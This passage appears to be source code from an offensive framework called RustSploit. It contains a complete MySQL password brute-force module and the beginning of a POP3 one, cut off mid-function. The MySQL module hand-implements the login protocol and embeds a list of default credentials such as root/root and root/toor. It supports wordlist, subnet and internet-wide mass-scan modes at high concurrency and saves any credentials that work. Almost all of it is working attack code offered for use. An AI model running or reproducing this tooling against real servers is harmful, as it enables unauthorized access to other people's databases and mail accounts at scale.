|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_MYSQL_PORT: u16 = 3306;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("root", ""),
|
||||
("root", "mysql"),
|
||||
("root", "password"),
|
||||
("root", "123456"),
|
||||
("admin", "admin"),
|
||||
("mysql", "mysql"),
|
||||
("root", "toor"),
|
||||
("root", "admin"),
|
||||
("admin", "password"),
|
||||
];
|
||||
|
||||
// MySQL protocol constants
|
||||
const MYSQL_PROTOCOL_V10: u8 = 10;
|
||||
const CLIENT_PROTOCOL_41: u32 = 0x0200;
|
||||
const CLIENT_SECURE_CONNECTION: u32 = 0x8000;
|
||||
const CLIENT_PLUGIN_AUTH: u32 = 0x0008_0000;
|
||||
const CHARSET_UTF8: u8 = 33; // utf8_general_ci
|
||||
const MAX_PACKET_SIZE: u32 = 16_777_216;
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "MySQL Brute Force".to_string(),
|
||||
description: "Brute-force MySQL authentication using native password wire protocol. \
|
||||
Implements HandshakeV10 parsing and mysql_native_password auth over raw TCP. \
|
||||
Supports default credential testing, wordlist combo mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase.html"
|
||||
.to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== MySQL Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} -- Mass Scan Mode", target).yellow());
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "MySQL",
|
||||
default_port: DEFAULT_MYSQL_PORT,
|
||||
state_file: "mysql_brute_hose_state.log",
|
||||
default_output: "mysql_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
// Try common default credentials
|
||||
let creds = [
|
||||
("root", "root"),
|
||||
("root", ""),
|
||||
("root", "mysql"),
|
||||
("admin", "admin"),
|
||||
("root", "password"),
|
||||
("root", "123456"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match try_mysql_auth(&addr, user, pass).await {
|
||||
MysqlResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
MysqlResult::ConnectionError(_) => return None,
|
||||
MysqlResult::AuthFailed | MysqlResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"mysql_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "mysql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/mysql_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_mysql_auth(&addr, &user, &pass).await {
|
||||
MysqlResult::Success => LoginResult::Success,
|
||||
MysqlResult::AuthFailed => LoginResult::AuthFailed,
|
||||
MysqlResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
MysqlResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "mysql_brute_results.txt").await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting MySQL brute-force on {}:{} ({} combos, {} threads)",
|
||||
target,
|
||||
port,
|
||||
combos.len(),
|
||||
concurrency
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_mysql_auth(&addr, &user, &pass).await {
|
||||
MysqlResult::Success => LoginResult::Success,
|
||||
MysqlResult::AuthFailed => LoginResult::AuthFailed,
|
||||
MysqlResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
MysqlResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "mysql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/mysql_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored MySQL responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "mysql_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# MySQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MySQL Wire Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum MysqlResult {
|
||||
Success,
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Read a MySQL packet: 3-byte length (LE) + 1-byte sequence + payload.
|
||||
async fn read_mysql_packet(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
|
||||
let mut header = [0u8; 4];
|
||||
tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading MySQL packet header"))?
|
||||
.map_err(|e| anyhow!("Failed to read packet header: {}", e))?;
|
||||
|
||||
let length = (header[0] as u32) | ((header[1] as u32) << 8) | ((header[2] as u32) << 16);
|
||||
let seq = header[3];
|
||||
|
||||
if length > 65_536 {
|
||||
return Err(anyhow!("MySQL packet too large: {} bytes", length));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; length as usize];
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading MySQL packet payload"))?
|
||||
.map_err(|e| anyhow!("Failed to read packet payload: {}", e))?;
|
||||
|
||||
Ok((seq, payload))
|
||||
}
|
||||
|
||||
/// Write a MySQL packet with the given sequence number.
|
||||
async fn write_mysql_packet(stream: &mut TcpStream, seq: u8, payload: &[u8]) -> Result<()> {
|
||||
let len = payload.len() as u32;
|
||||
let header = [
|
||||
(len & 0xFF) as u8,
|
||||
((len >> 8) & 0xFF) as u8,
|
||||
((len >> 16) & 0xFF) as u8,
|
||||
seq,
|
||||
];
|
||||
stream
|
||||
.write_all(&header)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to write packet header: {}", e))?;
|
||||
stream
|
||||
.write_all(payload)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to write packet payload: {}", e))?;
|
||||
stream
|
||||
.flush()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to flush: {}", e))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Parse the HandshakeV10 greeting to extract the 20-byte auth salt (scramble).
|
||||
fn parse_handshake_v10(payload: &[u8]) -> Result<Vec<u8>> {
|
||||
if payload.is_empty() {
|
||||
return Err(anyhow!("Empty handshake packet"));
|
||||
}
|
||||
|
||||
// Check for ERR packet (server rejected connection immediately)
|
||||
if payload[0] == 0xFF {
|
||||
let msg = if payload.len() > 3 {
|
||||
String::from_utf8_lossy(&payload[3..]).to_string()
|
||||
} else {
|
||||
"Unknown error".to_string()
|
||||
};
|
||||
return Err(anyhow!("Server error: {}", msg));
|
||||
}
|
||||
|
||||
if payload[0] != MYSQL_PROTOCOL_V10 {
|
||||
return Err(anyhow!(
|
||||
"Unsupported MySQL protocol version: {}",
|
||||
payload[0]
|
||||
));
|
||||
}
|
||||
|
||||
// Skip protocol version (1 byte)
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip server version string (null-terminated)
|
||||
while pos < payload.len() && payload[pos] != 0 {
|
||||
pos += 1;
|
||||
}
|
||||
pos += 1; // skip null terminator
|
||||
|
||||
if pos + 4 > payload.len() {
|
||||
return Err(anyhow!("Handshake too short (no thread id)"));
|
||||
}
|
||||
|
||||
// Skip thread id (4 bytes)
|
||||
pos += 4;
|
||||
|
||||
// auth_plugin_data_part_1: 8 bytes
|
||||
if pos + 8 > payload.len() {
|
||||
return Err(anyhow!("Handshake too short (no salt part 1)"));
|
||||
}
|
||||
let salt_part1 = &payload[pos..pos + 8];
|
||||
pos += 8;
|
||||
|
||||
// Skip filler (1 byte)
|
||||
pos += 1;
|
||||
|
||||
// Skip capability_flags_lower (2 bytes)
|
||||
if pos + 2 > payload.len() {
|
||||
// Some very old servers may stop here; we only have 8-byte salt
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 2;
|
||||
|
||||
// Skip character_set (1 byte), status_flags (2 bytes), capability_flags_upper (2 bytes)
|
||||
if pos + 5 > payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 5;
|
||||
|
||||
// auth_plugin_data_len or 0 (1 byte)
|
||||
if pos >= payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
let auth_data_len = payload[pos] as usize;
|
||||
pos += 1;
|
||||
|
||||
// Skip reserved (10 bytes)
|
||||
if pos + 10 > payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 10;
|
||||
|
||||
// auth_plugin_data_part_2: max(13, auth_data_len - 8) bytes
|
||||
// We need at least 12 more bytes to get the full 20-byte scramble
|
||||
let part2_len = if auth_data_len > 8 {
|
||||
(auth_data_len - 8).max(12)
|
||||
} else {
|
||||
12
|
||||
};
|
||||
|
||||
let available = payload.len().saturating_sub(pos);
|
||||
let take = part2_len.min(available);
|
||||
let salt_part2 = &payload[pos..pos + take];
|
||||
|
||||
// Combine: salt_part1 (8) + salt_part2 (up to 12, strip trailing null)
|
||||
let mut salt = salt_part1.to_vec();
|
||||
for &b in salt_part2 {
|
||||
if b == 0 {
|
||||
break;
|
||||
}
|
||||
salt.push(b);
|
||||
}
|
||||
|
||||
Ok(salt)
|
||||
}
|
||||
|
||||
/// Compute mysql_native_password auth response.
|
||||
///
|
||||
/// auth_response = SHA1(password) XOR SHA1(scramble + SHA1(SHA1(password)))
|
||||
///
|
||||
/// For empty passwords, returns an empty Vec (no auth data).
|
||||
fn compute_native_auth(password: &str, scramble: &[u8]) -> Vec<u8> {
|
||||
if password.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
|
||||
// SHA1(password)
|
||||
let sha1_pass = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(password.as_bytes());
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// SHA1(SHA1(password))
|
||||
let sha1_sha1_pass = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(&sha1_pass);
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// SHA1(scramble + SHA1(SHA1(password)))
|
||||
let sha1_scramble_double = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(scramble);
|
||||
h.update(&sha1_sha1_pass);
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// XOR: SHA1(password) ^ SHA1(scramble + SHA1(SHA1(password)))
|
||||
sha1_pass
|
||||
.iter()
|
||||
.zip(sha1_scramble_double.iter())
|
||||
.map(|(a, b)| a ^ b)
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Build the HandshakeResponse41 packet payload.
|
||||
fn build_handshake_response(username: &str, auth_response: &[u8], database: &str) -> Vec<u8> {
|
||||
let mut buf = Vec::with_capacity(128);
|
||||
|
||||
// client_flag (4 bytes)
|
||||
let flags: u32 = CLIENT_PROTOCOL_41 | CLIENT_SECURE_CONNECTION | CLIENT_PLUGIN_AUTH;
|
||||
buf.extend_from_slice(&flags.to_le_bytes());
|
||||
|
||||
// max_packet_size (4 bytes)
|
||||
buf.extend_from_slice(&MAX_PACKET_SIZE.to_le_bytes());
|
||||
|
||||
// character_set (1 byte)
|
||||
buf.push(CHARSET_UTF8);
|
||||
|
||||
// reserved (23 zero bytes)
|
||||
buf.extend_from_slice(&[0u8; 23]);
|
||||
|
||||
// username (null-terminated)
|
||||
buf.extend_from_slice(username.as_bytes());
|
||||
buf.push(0);
|
||||
|
||||
// auth_response length-encoded
|
||||
if auth_response.is_empty() {
|
||||
buf.push(0);
|
||||
} else {
|
||||
buf.push(auth_response.len() as u8);
|
||||
buf.extend_from_slice(auth_response);
|
||||
}
|
||||
|
||||
// database (null-terminated) -- omit for now; not all servers require it
|
||||
if !database.is_empty() {
|
||||
buf.extend_from_slice(database.as_bytes());
|
||||
buf.push(0);
|
||||
}
|
||||
|
||||
// auth plugin name (null-terminated)
|
||||
buf.extend_from_slice(b"mysql_native_password");
|
||||
buf.push(0);
|
||||
|
||||
buf
|
||||
}
|
||||
|
||||
/// Attempt MySQL authentication against a target address.
|
||||
async fn try_mysql_auth(addr: &str, username: &str, password: &str) -> MysqlResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Read server greeting (HandshakeV10)
|
||||
let (_seq, greeting) = match read_mysql_packet(&mut stream).await {
|
||||
Ok(p) => p,
|
||||
Err(e) => return MysqlResult::ProtocolError(format!("Failed to read greeting: {}", e)),
|
||||
};
|
||||
|
||||
// Parse the greeting to extract the scramble (salt)
|
||||
let scramble = match parse_handshake_v10(&greeting) {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MysqlResult::ProtocolError(format!("Handshake parse error: {}", e)),
|
||||
};
|
||||
|
||||
// Compute auth response
|
||||
let auth_response = compute_native_auth(password, &scramble);
|
||||
|
||||
// Build and send HandshakeResponse41
|
||||
let response_payload = build_handshake_response(username, &auth_response, "");
|
||||
if let Err(e) = write_mysql_packet(&mut stream, 1, &response_payload).await {
|
||||
return MysqlResult::ConnectionError(format!("Failed to send auth: {}", e));
|
||||
}
|
||||
|
||||
// Read server response
|
||||
let (_seq, response) = match read_mysql_packet(&mut stream).await {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
return MysqlResult::ConnectionError(format!("Failed to read auth response: {}", e))
|
||||
}
|
||||
};
|
||||
|
||||
if response.is_empty() {
|
||||
return MysqlResult::ProtocolError("Empty auth response from server".to_string());
|
||||
}
|
||||
|
||||
match response[0] {
|
||||
0x00 => MysqlResult::Success, // OK packet
|
||||
0xFE => MysqlResult::AuthFailed, // EOF / auth switch request (treat as failure)
|
||||
0xFF => {
|
||||
// ERR packet: skip error code (2 bytes) + sql_state marker + state (5 bytes)
|
||||
let msg = if response.len() > 9 {
|
||||
String::from_utf8_lossy(&response[9..]).to_string()
|
||||
} else if response.len() > 3 {
|
||||
String::from_utf8_lossy(&response[3..]).to_string()
|
||||
} else {
|
||||
"Unknown error".to_string()
|
||||
};
|
||||
// MySQL error 1045 = Access denied
|
||||
if msg.contains("Access denied") || (response.len() > 2 && response[1] == 0x15 && response[2] == 0x04) {
|
||||
MysqlResult::AuthFailed
|
||||
} else {
|
||||
MysqlResult::ProtocolError(msg)
|
||||
}
|
||||
}
|
||||
other => MysqlResult::ProtocolError(format!("Unexpected response type: 0x{:02X}", other)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,379 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "POP3 Brute Force".to_string(),
|
||||
description: "Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum Pop3ErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl Pop3ErrorType {
|
||||
/// Classify a POP3 error from its message string for smarter retry decisions.
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("-err")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("bad password")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this error type is worth retrying.
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct Pop3Error {
|
||||
error_type: Pop3ErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for Pop3Error {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for Pop3Error {}
|
||||
|
||||
impl Pop3Error {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = Pop3ErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "POP3",
|
||||
default_port: if use_ssl { 995 } else { 110 },
|
||||
state_file: "pop3_hose_state.log",
|
||||
default_output: "pop3_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let mut retry_attempt: u32 = 0;
